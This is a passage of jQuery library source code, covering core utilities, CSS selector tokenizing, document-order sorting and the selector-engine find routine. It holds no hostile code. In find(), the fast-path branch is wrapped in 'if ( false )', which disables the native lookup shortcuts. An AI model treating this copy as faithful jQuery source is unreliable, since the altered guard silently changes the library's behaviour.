i++ ) {\n\t\t\t\tif ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tfor ( i in obj ) {\n\t\t\t\tif ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn obj;\n\t},\n\n\n\t// Retrieve the text value of an array of DOM nodes\n\ttext: function( elem ) {\n\t\tvar node,\n\t\t\tret = \"\",\n\t\t\ti = 0,\n\t\t\tnodeType = elem.nodeType;\n\n\t\tif ( !nodeType ) {\n\n\t\t\t// If no nodeType, this is expected to be an array\n\t\t\twhile ( ( node = elem[ i++ ] ) ) {\n\n\t\t\t\t// Do not traverse comment nodes\n\t\t\t\tret += jQuery.text( node );\n\t\t\t}\n\t\t}\n\t\tif ( nodeType === 1 || nodeType === 11 ) {\n\t\t\treturn elem.textContent;\n\t\t}\n\t\tif ( nodeType === 9 ) {\n\t\t\treturn elem.documentElement.textContent;\n\t\t}\n\t\tif ( nodeType === 3 || nodeType === 4 ) {\n\t\t\treturn elem.nodeValue;\n\t\t}\n\n\t\t// Do not include comment or processing instruction nodes\n\n\t\treturn ret;\n\t},\n\n\n\t// results is for internal usage only\n\tmakeArray: function( arr, results ) {\n\t\tvar ret = results || [];\n\n\t\tif ( arr != null ) {\n\t\t\tif ( isArrayLike( Object( arr ) ) ) {\n\t\t\t\tjQuery.merge( ret,\n\t\t\t\t\ttypeof arr === \"string\" ?\n\t\t\t\t\t\t[ arr ] : arr\n\t\t\t\t);\n\t\t\t} else {\n\t\t\t\tpush.call( ret, arr );\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\tinArray: function( elem, arr, i ) {\n\t\treturn arr == null ? -1 : indexOf.call( arr, elem, i );\n\t},\n\n\tisXMLDoc: function( elem ) {\n\t\tvar namespace = elem && elem.namespaceURI,\n\t\t\tdocElem = elem && ( elem.ownerDocument || elem ).documentElement;\n\n\t\t// Assume HTML when documentElement doesn't yet exist, such as inside\n\t\t// document fragments.\n\t\treturn !rhtmlSuffix.test( namespace || docElem && docElem.nodeName || \"HTML\" );\n\t},\n\n\t// Note: an element does not contain itself\n\tcontains: function( a, b ) {\n\t\tvar bup = b && b.parentNode;\n\n\t\treturn a === bup || !!( bup && bup.nodeType === 1 && (\n\n\t\t\t// Support: IE 9 - 11+\n\t\t\t// IE doesn't have `contains` on SVG.\n\t\t\ta.contains ?\n\t\t\t\ta.contains( bup ) :\n\t\t\t\ta.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16\n\t\t) );\n\t},\n\n\tmerge: function( first, second ) {\n\t\tvar len = +second.length,\n\t\t\tj = 0,\n\t\t\ti = first.length;\n\n\t\tfor ( ; j < len; j++ ) {\n\t\t\tfirst[ i++ ] = second[ j ];\n\t\t}\n\n\t\tfirst.length = i;\n\n\t\treturn first;\n\t},\n\n\tgrep: function( elems, callback, invert ) {\n\t\tvar callbackInverse,\n\t\t\tmatches = [],\n\t\t\ti = 0,\n\t\t\tlength = elems.length,\n\t\t\tcallbackExpect = !invert;\n\n\t\t// Go through the array, only saving the items\n\t\t// that pass the validator function\n\t\tfor ( ; i < length; i++ ) {\n\t\t\tcallbackInverse = !callback( elems[ i ], i );\n\t\t\tif ( callbackInverse !== callbackExpect ) {\n\t\t\t\tmatches.push( elems[ i ] );\n\t\t\t}\n\t\t}\n\n\t\treturn matches;\n\t},\n\n\t// arg is for internal usage only\n\tmap: function( elems, callback, arg ) {\n\t\tvar length, value,\n\t\t\ti = 0,\n\t\t\tret = [];\n\n\t\t// Go through the array, translating each of the items to their new values\n\t\tif ( isArrayLike( elems ) ) {\n\t\t\tlength = elems.length;\n\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\tvalue = callback( elems[ i ], i, arg );\n\n\t\t\t\tif ( value != null ) {\n\t\t\t\t\tret.push( value );\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Go through every key on the object,\n\t\t} else {\n\t\t\tfor ( i in elems ) {\n\t\t\t\tvalue = callback( elems[ i ], i, arg );\n\n\t\t\t\tif ( value != null ) {\n\t\t\t\t\tret.push( value );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Flatten any nested arrays\n\t\treturn flat( ret );\n\t},\n\n\t// A global GUID counter for objects\n\tguid: 1,\n\n\t// jQuery.support is not used in Core but other projects attach their\n\t// properties to it so it needs to exist.\n\tsupport: support\n} );\n\nif ( typeof Symbol === \"function\" ) {\n\tjQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ];\n}\n\n// Populate the class2type map\njQuery.each( \"Boolean Number String Function Array Date RegExp Object Error Symbol\".split( \" \" ),\n\tfunction( _i, name ) {\n\t\tclass2type[ \"[object \" + name + \"]\" ] = name.toLowerCase();\n\t} );\n\nfunction nodeName( elem, name ) {\n\treturn elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();\n}\n\nvar pop = arr.pop;\n\n// https://www.w3.org/TR/css3-selectors/#whitespace\nvar whitespace = \"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\";\n\nvar isIE = document.documentMode;\n\n// Support: Chrome 105 - 111 only, Safari 15.4 - 16.3 only\n// Make sure the `:has()` argument is parsed unforgivingly.\n// We include `*` in the test to detect buggy implementations that are\n// _selectively_ forgiving (specifically when the list includes at least\n// one valid selector).\n// Note that we treat complete lack of support for `:has()` as if it were\n// spec-compliant support, which is fine because use of `:has()` in such\n// environments will fail in the qSA path and fall back to jQuery traversal\n// anyway.\ntry {\n\tdocument.querySelector( \":has(*,:jqfake)\" );\n\tsupport.cssHas = false;\n} catch ( e ) {\n\tsupport.cssHas = true;\n}\n\n// Build QSA regex.\n// Regex strategy adopted from Diego Perini.\nvar rbuggyQSA = [];\n\nif ( isIE ) {\n\trbuggyQSA.push(\n\n\t\t// Support: IE 9 - 11+\n\t\t// IE's :disabled selector does not pick up the children of disabled fieldsets\n\t\t\":enabled\",\n\t\t\":disabled\",\n\n\t\t// Support: IE 11+\n\t\t// IE 11 doesn't find elements on a `[name='']` query in some cases.\n\t\t// Adding a temporary attribute to the document before the selection works\n\t\t// around the issue.\n\t\t\"\\\\[\" + whitespace + \"*name\" + whitespace + \"*=\" +\n\t\t\twhitespace + \"*(?:''|\\\"\\\")\"\n\t);\n}\n\nif ( !support.cssHas ) {\n\n\t// Support: Chrome 105 - 110+, Safari 15.4 - 16.3+\n\t// Our regular `try-catch` mechanism fails to detect natively-unsupported\n\t// pseudo-classes inside `:has()` (such as `:has(:contains(\"Foo\"))`)\n\t// in browsers that parse the `:has()` argument as a forgiving selector list.\n\t// https://drafts.csswg.org/selectors/#relational now requires the argument\n\t// to be parsed unforgivingly, but browsers have not yet fully adjusted.\n\trbuggyQSA.push( \":has\" );\n}\n\nrbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join( \"|\" ) );\n\nvar rtrimCSS = new RegExp(\n\t\"^\" + whitespace + \"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\" + whitespace + \"+$\",\n\t\"g\"\n);\n\n// https://www.w3.org/TR/css-syntax-3/#ident-token-diagram\nvar identifier = \"(?:\\\\\\\\[\\\\da-fA-F]{1,6}\" + whitespace +\n\t\"?|\\\\\\\\[^\\\\r\\\\n\\\\f]|[\\\\w-]|[^\\0-\\\\x7f])+\";\n\nvar booleans = \"checked|selected|async|autofocus|autoplay|controls|\" +\n\t\"defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\";\n\nvar rleadingCombinator = new RegExp( \"^\" + whitespace + \"*([>+~]|\" +\n\twhitespace + \")\" + whitespace + \"*\" );\n\nvar rdescend = new RegExp( whitespace + \"|>\" );\n\nvar rsibling = /[+~]/;\n\nvar documentElement = document.documentElement;\n\n// Support: IE 9 - 11+\n// IE requires a prefix.\nvar matches = documentElement.matches || documentElement.msMatchesSelector;\n\n/**\n * Create key-value caches of limited size\n * @returns {function(string, object)} Returns the Object data after storing it on itself with\n *\tproperty name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)\n *\tdeleting the oldest entry\n */\nfunction createCache() {\n\tvar keys = [];\n\n\tfunction cache( key, value ) {\n\n\t\t// Use (key + \" \") to avoid collision with native prototype properties\n\t\t// (see https://github.com/jquery/sizzle/issues/157)\n\t\tif ( keys.push( key + \" \" ) > jQuery.expr.cacheLength ) {\n\n\t\t\t// Only keep the most recent entries\n\t\t\tdelete cache[ keys.shift() ];\n\t\t}\n\t\treturn ( cache[ key + \" \" ] = value );\n\t}\n\treturn cache;\n}\n\n/**\n * Checks a node for validity as a jQuery selector context\n * @param {Element|Object=} context\n * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value\n */\nfunction testContext( context ) {\n\treturn context && typeof context.getElementsByTagName !== \"undefined\" && context;\n}\n\n// Attribute selectors: https://www.w3.org/TR/selectors/#attribute-selectors\nvar attributes = \"\\\\[\" + whitespace + \"*(\" + identifier + \")(?:\" + whitespace +\n\n\t// Operator (capture 2)\n\t\"*([*^$|!~]?=)\" + whitespace +\n\n\t// \"Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]\"\n\t\"*(?:'((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\"|(\" + identifier + \"))|)\" +\n\twhitespace + \"*\\\\]\";\n\nvar pseudos = \":(\" + identifier + \")(?:\\\\((\" +\n\n\t// To reduce the number of selectors needing tokenize in the preFilter, prefer arguments:\n\t// 1. quoted (capture 3; capture 4 or capture 5)\n\t\"('((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\")|\" +\n\n\t// 2. simple (capture 6)\n\t\"((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\" + attributes + \")*)|\" +\n\n\t// 3. anything else (capture 2)\n\t\".*\" +\n\t\")\\\\)|)\";\n\nvar filterMatchExpr = {\n\tID: new RegExp( \"^#(\" + identifier + \")\" ),\n\tCLASS: new RegExp( \"^\\\\.(\" + identifier + \")\" ),\n\tTAG: new RegExp( \"^(\" + identifier + \"|[*])\" ),\n\tATTR: new RegExp( \"^\" + attributes ),\n\tPSEUDO: new RegExp( \"^\" + pseudos ),\n\tCHILD: new RegExp(\n\t\t\"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\" +\n\t\twhitespace + \"*(even|odd|(([+-]|)(\\\\d*)n|)\" + whitespace + \"*(?:([+-]|)\" +\n\t\twhitespace + \"*(\\\\d+)|))\" + whitespace + \"*\\\\)|)\", \"i\" )\n};\n\nvar rpseudo = new RegExp( pseudos );\n\n// CSS escapes\n\nvar runescape = new RegExp( \"\\\\\\\\[\\\\da-fA-F]{1,6}\" + whitespace +\n\t\"?|\\\\\\\\([^\\\\r\\\\n\\\\f])\", \"g\" ),\n\tfunescape = function( escape, nonHex ) {\n\t\tvar high = \"0x\" + escape.slice( 1 ) - 0x10000;\n\n\t\tif ( nonHex ) {\n\n\t\t\t// Strip the backslash prefix from a non-hex escape sequence\n\t\t\treturn nonHex;\n\t\t}\n\n\t\t// Replace a hexadecimal escape sequence with the encoded Unicode code point\n\t\t// Support: IE <=11+\n\t\t// For values outside the Basic Multilingual Plane (BMP), manually construct a\n\t\t// surrogate pair\n\t\treturn high < 0 ?\n\t\t\tString.fromCharCode( high + 0x10000 ) :\n\t\t\tString.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );\n\t};\n\nfunction unescapeSelector( sel ) {\n\treturn sel.replace( runescape, funescape );\n}\n\nfunction selectorError( msg ) {\n\tjQuery.error( \"Syntax error, unrecognized expression: \" + msg );\n}\n\nvar rcomma = new RegExp( \"^\" + whitespace + \"*,\" + whitespace + \"*\" );\n\nvar tokenCache = createCache();\n\nfunction tokenize( selector, parseOnly ) {\n\tvar matched, match, tokens, type,\n\t\tsoFar, groups, preFilters,\n\t\tcached = tokenCache[ selector + \" \" ];\n\n\tif ( cached ) {\n\t\treturn parseOnly ? 0 : cached.slice( 0 );\n\t}\n\n\tsoFar = selector;\n\tgroups = [];\n\tpreFilters = jQuery.expr.preFilter;\n\n\twhile ( soFar ) {\n\n\t\t// Comma and first run\n\t\tif ( !matched || ( match = rcomma.exec( soFar ) ) ) {\n\t\t\tif ( match ) {\n\n\t\t\t\t// Don't consume trailing commas as valid\n\t\t\t\tsoFar = soFar.slice( match[ 0 ].length ) || soFar;\n\t\t\t}\n\t\t\tgroups.push( ( tokens = [] ) );\n\t\t}\n\n\t\tmatched = false;\n\n\t\t// Combinators\n\t\tif ( ( match = rleadingCombinator.exec( soFar ) ) ) {\n\t\t\tmatched = match.shift();\n\t\t\ttokens.push( {\n\t\t\t\tvalue: matched,\n\n\t\t\t\t// Cast descendant combinators to space\n\t\t\t\ttype: match[ 0 ].replace( rtrimCSS, \" \" )\n\t\t\t} );\n\t\t\tsoFar = soFar.slice( matched.length );\n\t\t}\n\n\t\t// Filters\n\t\tfor ( type in filterMatchExpr ) {\n\t\t\tif ( ( match = jQuery.expr.match[ type ].exec( soFar ) ) && ( !preFilters[ type ] ||\n\t\t\t\t( match = preFilters[ type ]( match ) ) ) ) {\n\t\t\t\tmatched = match.shift();\n\t\t\t\ttokens.push( {\n\t\t\t\t\tvalue: matched,\n\t\t\t\t\ttype: type,\n\t\t\t\t\tmatches: match\n\t\t\t\t} );\n\t\t\t\tsoFar = soFar.slice( matched.length );\n\t\t\t}\n\t\t}\n\n\t\tif ( !matched ) {\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t// Return the length of the invalid excess\n\t// if we're just parsing\n\t// Otherwise, throw an error or return tokens\n\tif ( parseOnly ) {\n\t\treturn soFar.length;\n\t}\n\n\treturn soFar ?\n\t\tselectorError( selector ) :\n\n\t\t// Cache the tokens\n\t\ttokenCache( selector, groups ).slice( 0 );\n}\n\nvar preFilter = {\n\tATTR: function( match ) {\n\t\tmatch[ 1 ] = unescapeSelector( match[ 1 ] );\n\n\t\t// Move the given value to match[3] whether quoted or unquoted\n\t\tmatch[ 3 ] = unescapeSelector( match[ 3 ] || match[ 4 ] || match[ 5 ] || \"\" );\n\n\t\tif ( match[ 2 ] === \"~=\" ) {\n\t\t\tmatch[ 3 ] = \" \" + match[ 3 ] + \" \";\n\t\t}\n\n\t\treturn match.slice( 0, 4 );\n\t},\n\n\tCHILD: function( match ) {\n\n\t\t/* matches from filterMatchExpr[\"CHILD\"]\n\t\t\t1 type (only|nth|...)\n\t\t\t2 what (child|of-type)\n\t\t\t3 argument (even|odd|\\d*|\\d*n([+-]\\d+)?|...)\n\t\t\t4 xn-component of xn+y argument ([+-]?\\d*n|)\n\t\t\t5 sign of xn-component\n\t\t\t6 x of xn-component\n\t\t\t7 sign of y-component\n\t\t\t8 y of y-component\n\t\t*/\n\t\tmatch[ 1 ] = match[ 1 ].toLowerCase();\n\n\t\tif ( match[ 1 ].slice( 0, 3 ) === \"nth\" ) {\n\n\t\t\t// nth-* requires argument\n\t\t\tif ( !match[ 3 ] ) {\n\t\t\t\tselectorError( match[ 0 ] );\n\t\t\t}\n\n\t\t\t// numeric x and y parameters for jQuery.expr.filter.CHILD\n\t\t\t// remember that false/true cast respectively to 0/1\n\t\t\tmatch[ 4 ] = +( match[ 4 ] ?\n\t\t\t\tmatch[ 5 ] + ( match[ 6 ] || 1 ) :\n\t\t\t\t2 * ( match[ 3 ] === \"even\" || match[ 3 ] === \"odd\" )\n\t\t\t);\n\t\t\tmatch[ 5 ] = +( ( match[ 7 ] + match[ 8 ] ) || match[ 3 ] === \"odd\" );\n\n\t\t// other types prohibit arguments\n\t\t} else if ( match[ 3 ] ) {\n\t\t\tselectorError( match[ 0 ] );\n\t\t}\n\n\t\treturn match;\n\t},\n\n\tPSEUDO: function( match ) {\n\t\tvar excess,\n\t\t\tunquoted = !match[ 6 ] && match[ 2 ];\n\n\t\tif ( filterMatchExpr.CHILD.test( match[ 0 ] ) ) {\n\t\t\treturn null;\n\t\t}\n\n\t\t// Accept quoted arguments as-is\n\t\tif ( match[ 3 ] ) {\n\t\t\tmatch[ 2 ] = match[ 4 ] || match[ 5 ] || \"\";\n\n\t\t// Strip excess characters from unquoted arguments\n\t\t} else if ( unquoted && rpseudo.test( unquoted ) &&\n\n\t\t\t// Get excess from tokenize (recursively)\n\t\t\t( excess = tokenize( unquoted, true ) ) &&\n\n\t\t\t// advance to the next closing parenthesis\n\t\t\t( excess = unquoted.indexOf( \")\", unquoted.length - excess ) -\n\t\t\t\tunquoted.length ) ) {\n\n\t\t\t// excess is a negative index\n\t\t\tmatch[ 0 ] = match[ 0 ].slice( 0, excess );\n\t\t\tmatch[ 2 ] = unquoted.slice( 0, excess );\n\t\t}\n\n\t\t// Return only captures needed by the pseudo filter method (type and argument)\n\t\treturn match.slice( 0, 3 );\n\t}\n};\n\nfunction toSelector( tokens ) {\n\tvar i = 0,\n\t\tlen = tokens.length,\n\t\tselector = \"\";\n\tfor ( ; i < len; i++ ) {\n\t\tselector += tokens[ i ].value;\n\t}\n\treturn selector;\n}\n\n// CSS string/identifier serialization\n// https://drafts.csswg.org/cssom/#common-serializing-idioms\nvar rcssescape = /([\\0-\\x1f\\x7f]|^-?\\d)|^-$|[^\\x80-\\uFFFF\\w-]/g;\n\nfunction fcssescape( ch, asCodePoint ) {\n\tif ( asCodePoint ) {\n\n\t\t// U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER\n\t\tif ( ch === \"\\0\" ) {\n\t\t\treturn \"\\uFFFD\";\n\t\t}\n\n\t\t// Control characters and (dependent upon position) numbers get escaped as code points\n\t\treturn ch.slice( 0, -1 ) + \"\\\\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + \" \";\n\t}\n\n\t// Other potentially-special ASCII characters get backslash-escaped\n\treturn \"\\\\\" + ch;\n}\n\njQuery.escapeSelector = function( sel ) {\n\treturn ( sel + \"\" ).replace( rcssescape, fcssescape );\n};\n\nvar sort = arr.sort;\n\nvar splice = arr.splice;\n\nvar hasDuplicate;\n\n// Document order sorting\nfunction sortOrder( a, b ) {\n\n\t// Flag for duplicate removal\n\tif ( a === b ) {\n\t\thasDuplicate = true;\n\t\treturn 0;\n\t}\n\n\t// Sort on method existence if only one input has compareDocumentPosition\n\tvar compare = !a.compareDocumentPosition - !b.compareDocumentPosition;\n\tif ( compare ) {\n\t\treturn compare;\n\t}\n\n\t// Calculate position if both inputs belong to the same document\n\t// Support: IE 11+\n\t// IE sometimes throws a \"Permission denied\" error when strict-comparing\n\t// two documents; shallow comparisons work.\n\t// eslint-disable-next-line eqeqeq\n\tcompare = ( a.ownerDocument || a ) == ( b.ownerDocument || b ) ?\n\t\ta.compareDocumentPosition( b ) :\n\n\t\t// Otherwise we know they are disconnected\n\t\t1;\n\n\t// Disconnected nodes\n\tif ( compare & 1 ) {\n\n\t\t// Choose the first element that is related to the document\n\t\t// Support: IE 11+\n\t\t// IE sometimes throws a \"Permission denied\" error when strict-comparing\n\t\t// two documents; shallow comparisons work.\n\t\t// eslint-disable-next-line eqeqeq\n\t\tif ( a == document || a.ownerDocument == document &&\n\t\t\tjQuery.contains( document, a ) ) {\n\t\t\treturn -1;\n\t\t}\n\n\t\t// Support: IE 11+\n\t\t// IE sometimes throws a \"Permission denied\" error when strict-comparing\n\t\t// two documents; shallow comparisons work.\n\t\t// eslint-disable-next-line eqeqeq\n\t\tif ( b == document || b.ownerDocument == document &&\n\t\t\tjQuery.contains( document, b ) ) {\n\t\t\treturn 1;\n\t\t}\n\n\t\t// Maintain original order\n\t\treturn 0;\n\t}\n\n\treturn compare & 4 ? -1 : 1;\n}\n\n/**\n * Document sorting and removing duplicates\n * @param {ArrayLike} results\n */\njQuery.uniqueSort = function( results ) {\n\tvar elem,\n\t\tduplicates = [],\n\t\tj = 0,\n\t\ti = 0;\n\n\thasDuplicate = false;\n\n\tsort.call( results, sortOrder );\n\n\tif ( hasDuplicate ) {\n\t\twhile ( ( elem = results[ i++ ] ) ) {\n\t\t\tif ( elem === results[ i ] ) {\n\t\t\t\tj = duplicates.push( i );\n\t\t\t}\n\t\t}\n\t\twhile ( j-- ) {\n\t\t\tsplice.call( results, duplicates[ j ], 1 );\n\t\t}\n\t}\n\n\treturn results;\n};\n\njQuery.fn.uniqueSort = function() {\n\treturn this.pushStack( jQuery.uniqueSort( slice.apply( this ) ) );\n};\n\nvar i,\n\toutermostContext,\n\n\t// Local document vars\n\tdocument$1,\n\tdocumentElement$1,\n\tdocumentIsHTML,\n\n\t// Instance-specific data\n\tdirruns = 0,\n\tdone = 0,\n\tclassCache = createCache(),\n\tcompilerCache = createCache(),\n\tnonnativeSelectorCache = createCache(),\n\n\t// Regular expressions\n\n\t// Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter\n\trwhitespace = new RegExp( whitespace + \"+\", \"g\" ),\n\n\tridentifier = new RegExp( \"^\" + identifier + \"$\" ),\n\n\tmatchExpr = jQuery.extend( {\n\t\tbool: new RegExp( \"^(?:\" + booleans + \")$\", \"i\" ),\n\n\t\t// For use in libraries implementing .is()\n\t\t// We use this for POS matching in `select`\n\t\tneedsContext: new RegExp( \"^\" + whitespace +\n\t\t\t\"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\" + whitespace +\n\t\t\t\"*((?:-\\\\d)?\\\\d*)\" + whitespace + \"*\\\\)|)(?=[^-]|$)\", \"i\" )\n\t}, filterMatchExpr ),\n\n\trinputs = /^(?:input|select|textarea|button)$/i,\n\trheader = /^h\\d$/i,\n\n\t// Easily-parseable/retrievable ID or TAG or CLASS selectors\n\trquickExpr = /^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,\n\n\t// Used for iframes; see `setDocument`.\n\t// Support: IE 9 - 11+\n\t// Removing the function wrapper causes a \"Permission Denied\"\n\t// error in IE.\n\tunloadHandler = function() {\n\t\tsetDocument();\n\t},\n\n\tinDisabledFieldset = addCombinator(\n\t\tfunction( elem ) {\n\t\t\treturn elem.disabled === true && nodeName( elem, \"fieldset\" );\n\t\t},\n\t\t{ dir: \"parentNode\", next: \"legend\" }\n\t);\n\nfunction find( selector, context, results, seed ) {\n\tvar m, i, elem, nid, match, groups, newSelector,\n\t\tnewContext = context && context.ownerDocument,\n\n\t\t// nodeType defaults to 9, since context defaults to document\n\t\tnodeType = context ? context.nodeType : 9;\n\n\tresults = results || [];\n\n\t// Return early from calls with invalid selector or context\n\tif ( typeof selector !== \"string\" || !selector ||\n\t\tnodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) {\n\n\t\treturn results;\n\t}\n\n\t// Try to shortcut find operations (as opposed to filters) in HTML documents\n\tif ( false ) {\n\t\tsetDocument( context );\n\t\tcontext = context || document$1;\n\n\t\tif ( documentIsHTML ) {\n\n\t\t\t// If the selector is sufficiently simple, try using a \"get*By*\" DOM method\n\t\t\t// (excepting DocumentFragment context, where the methods don't exist)\n\t\t\tif ( nodeType !== 11 && ( match = rquickExpr.exec( selector ) ) ) {\n\n\t\t\t\t// ID selector\n\t\t\t\tif ( ( m = match[ 1 ] ) ) {\n\n\t\t\t\t\t// Document context\n\t\t\t\t\tif ( nodeType === 9 ) {\n\t\t\t\t\t\tif ( ( elem = context.getElementById( m ) ) ) {\n\t\t\t\t\t\t\tpush.call( results, elem );\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn results;\n\n\t\t\t\t\t// Element context\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif ( newContext && ( elem = newContext.getElementById( m ) ) &&\n\t\t\t\t\t\t\tjQuery.contains( context, elem ) ) {\n\n\t\t\t\t\t\t\tpush.call( results, elem );\n\t\t\t\t\t\t\treturn results;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t// Type selector\n\t\t\t\t} else if ( match[ 2 ] ) {\n\t\t\t\t\tpush.apply( results, context.getElementsByTagName( selector ) );\n\t\t\t\t\treturn results;\n\n\t\t\t\t// Class selector\n\t\t\t\t} else if ( ( m = match[ 3 ] ) && context.getElementsByClassName ) {\n\t\t\t\t\tpush.apply( results, context.getElementsByClassName( m ) );\n\t\t\t\t\treturn results;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Take advantage of querySelectorAll\n\t\t\tif ( !nonnativeSelectorCache[ selector + \" \" ] &&\n\t\t\t\t( !rbuggyQSA || !rbuggyQSA.test( selector ) ) ) {\n\n\t\t\t\tnewSelector = selector;\n\t\t\t\tnewContext = context;\n\n\t\t\t\t// qSA considers elements outside a scoping root when evaluating child or\n\t\t\t\t// descendant combinators, which is not what we want.\n\t\t\t\t// In such cases, we work around the behavior by prefixing every selector in the\n\t\t\t\t// list with an ID selector referencing the scope context.\n\t\t\t\t// The technique has to be used as well when a leading combinator is used\n\t\t\t\t// as such selectors are not recognized by querySelectorAll.\n\t\t\t\t// Thanks to Andrew Dupont for this technique.\n\t\t\t\tif ( nodeType === 1 &&\n\t\t\t\t\t( rdescend.test( selector ) || rleadingCombinator.test( selector ) ) ) {\n\n\t\t\t\t\t// Expand context for sibling selectors\n\t\t\t\t\tnewContext = rsibling.test( selector ) &&\n\t\t\t\t\t\ttestContext( context.parentNode ) ||\n\t\t\t\t\t\tcontext;\n\n\t\t\t\t\t// Outside of IE, if we're not changing the context we can\n\t\t\t\t\t// use :scope instead of an ID.\n\t\t\t\t\t// Support: IE 11+\n\t\t\t\t\t// IE sometimes throws a \"Permission denied\" error when strict-comparing\n\t\t\t\t\t// two documents; shallow comparisons work.\n\t\t\t\t\t// eslint-disable-next-line eqeqeq\n\t\t\t\t\tif ( newContext != context || isIE ) {\n\n\t\t\t\t\t\t// Capture the context ID, setting it first if necessary\n\t\t\t\t\t\tif ( ( nid = context.getAttribute( \"id\" ) ) ) {\n\t\t\t\t\t\t\tnid = jQuery.escapeSelector( nid );\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tcontext.setAttribute( \"id\", ( nid = jQuery.expando ) );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Prefix every selector in the list\n\t\t\t\t\tgroups = tokenize( selector );\n\t\t\t\t\ti = groups.length;\n\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\tgroups[ i ] = ( nid ? \"#\" + nid : \":scope\" ) + \" \" +\n\t\t\t\t\t\t\ttoSelector( groups[ i ] );\n\t\t\t\t\t}\n\t\t\t\t\tnewSelector = groups.join( \",\" );\n\t\t\t\t}\n\n\t\t\t\ttry {\n\t\t\t\t\tpush.apply( results,\n\t\t\t\t\t\tnewContext.querySelectorAll( newSelector )\n\t\t\t\t\t);\n\t\t\t\t\treturn results;\n\t\t\t\t} catch ( qsaError ) {\n\t\t\t\t\tnonnativeSelectorCache( selector, true );\n\t\t\t\t} finally {\n\t\t\t\t\tif ( nid === jQuery.expando ) {\n\t\t\t\t\t\tcontext.removeAttribute( \"id\" );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// All others\n\treturn select( selector.replace( rtrimCSS, \"$1\" ), context, results, seed );\n}\n\n/**\n * Mark a function for special use by jQuery selector module\n * @param {Function} fn The function to mark\n */\nfunction markFunction( fn ) {\n\tfn[ jQuery.expando ] = true;\n\treturn fn;\n}\n\n/**\n * Returns a function to use in pseudos for input types\n * @param {String} type\n */\nfunction createInputPseudo( type ) {\n\treturn function( elem ) {\n\t\treturn nodeName( elem, \"input\" ) && elem.type === type;\n\t};\n}\n\n/**\n * Returns a function to use in pseudos for buttons\n * @param {String} type\n */\nfunction createButtonPseudo( type ) {\n\treturn function( elem ) {\n\t\treturn ( nodeName( elem, \"input\" ) || nodeName( elem, \"button\" ) ) &&\n\t\t\telem.type === type;\n\t};\n}\n\n/**\n * Returns a function to use in pseudos for :enabled/:disabled\n * @param {Boolean} disabled true for :disabled; false for :enabled\n */\nfunction createDisabledPseudo( disabled ) {\n\n\t// Known :disabled false positives: fieldset[disabled] > legend:nth-of-type(n+2) :can-disable\n\treturn function( elem ) {\n\n\t\t// Only certain elements can match :enabled or :disabled\n\t\t// https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled\n\t\t// https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled\n\t\tif ( \"form\" in elem ) {\n\n\t\t\t// Check for inherited disabledness on relevant non-disabled elements:\n\t\t\t// * listed form-associated elements in a disabled fieldset\n\t\t\t//   https://html.spec.whatwg.org/multipage/forms.html#category-listed\n\t\t\t//   https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled\n\t\t\t// * option elements in a disabled optgroup\n\t\t\t//   https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled\n\t\t\t// All such elements have a \"form\" property.\n\t\t\tif ( elem.parentNode && elem.disabled === false ) {\n\n\t\t\t\t// Option elements defer to a parent optgroup if present\n\t\t\t\tif ( \"label\" in elem ) {\n\t\t\t\t\tif ( \"label\" in elem.parentNode ) {\n\t\t\t\t\t\treturn elem.parentNode.disabled === disabled;\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn elem.disabled === disabled;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Support: IE 6 - 11+\n\t\t\t\t// Use the isDisabled shortcut property to check for disabled fieldset ancestors\n\t\t\t\treturn elem.isDisabled === disabled ||\n\n\t\t\t\t\t// Where there is no isDisabled, check manually\n\t\t\t\t\telem.isDisabled !== !disabled &&\n\t\t\t\t\t\tinDisabledFieldset( elem ) === disabled;\n\t\t\t}\n\n\t\t\treturn elem.disabled === disabled;\n\n\t\t// Try to winnow out elements that can't be disabled before trusting the disabled 